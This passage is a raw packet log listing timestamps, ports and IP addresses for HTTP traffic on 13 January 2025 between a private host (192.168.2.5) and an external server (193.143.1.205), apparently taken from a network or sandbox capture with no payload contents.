Jan 13, 2025 08:46:01.324820042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.326980114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.326993942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327007055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327029943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327044964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327049971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327070951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327279091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327292919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327306986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327326059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327331066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327346087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327353954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327368021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327384949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327393055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327399015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327414989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327421904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327428102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327464104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327795982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327810049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327825069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327833891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327840090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327855110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327868938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.327873945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.327892065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.328145027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.328159094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.328171968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.328188896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.328208923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.331295967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.336067915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.338251114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.338334084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.338346958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.338360071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.338365078 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.338373899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.338387966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.338397026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.338423014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.355726004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.361358881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.381792068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.381819963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.381834030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.381864071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414408922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414443016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414455891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414479017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414483070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414494038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414508104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414529085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414529085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414546013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414549112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414562941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414618015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414630890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414644957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414649963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414658070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414673090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414681911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414685965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414701939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414710045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414747953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.414752007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414767027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.414809942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.452441931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452466011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452481985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452497959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452512026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452528954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452543974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.452593088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.452605009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452646971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452686071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.452696085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452718973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452755928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.452944994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452960014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452974081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.452992916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.453241110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453282118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.453286886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453299999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453314066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453330040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.453677893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453716993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.453794003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453819036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453855991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.453886032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453910112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453924894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453944921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.453982115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.453995943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454014063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454015017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454027891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454042912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454051971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454081059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454169989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454193115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454210043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454230070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454232931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454246998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454261065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454265118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454276085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454291105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454296112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454303980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454320908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454334021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454338074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454349041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454356909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454364061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454377890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454384089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454391956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454406977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454422951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454447985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454638004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454660892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454682112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454695940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454698086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454710007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454725027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454739094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454744101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454754114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454761028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454792023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454813957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454814911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454829931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454842091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454855919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454864025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454874039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454879045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454886913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454895020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454916954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454925060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454933882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454950094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454963923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454969883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.454977989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.454993010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455002069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455007076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455022097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455029011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455035925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455050945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455064058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455070019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455080032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455085993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455094099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455108881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455110073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455122948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455137968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455140114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455152988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455179930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455369949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455385923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455399036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455404043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455413103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455427885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455437899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455442905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455457926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455461979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455480099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455493927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455502033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455507040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455521107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455535889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455532074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455550909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455566883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455573082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455586910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455586910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455602884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455619097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455624104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455632925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455655098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455662012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455668926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455683947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455689907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455698013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455712080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455713987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455725908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455740929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455744028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455755949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455780983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.455826998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.455862045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.468573093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507211924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507257938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507281065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507297993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507328033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507328033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507332087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507359982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507375002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507389069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507399082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507404089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507419109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507424116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507432938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507447958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507457972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507462025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507477999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507487059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507493019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507508039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507514000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507522106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507536888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507541895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507550955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507565022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507580042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.507584095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.507607937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.545514107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545538902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545557022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545572996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545588017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545593977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.545602083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545619011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.545623064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.545638084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.545658112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546380043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546550035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546566010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546581030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546586990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546595097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546610117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546624899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546626091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546641111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546643972 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546658039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546672106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546681881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546694994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546705008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546710014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546725035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546739101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546752930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546756983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546767950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546775103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546782017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546797991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546812057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546812057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546830893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546837091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546859980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546874046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546876907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546888113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546901941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546911001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546916008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546931028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546938896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546946049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546960115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546962976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.546974897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546989918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.546991110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547003984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547023058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547030926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547036886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547050953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547059059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547065020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547080040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547086954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547094107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547108889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547122002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547123909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547143936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547329903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547350883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547364950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547372103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547379971 CET	80	49704	193.143.1.205	192.168.2.5
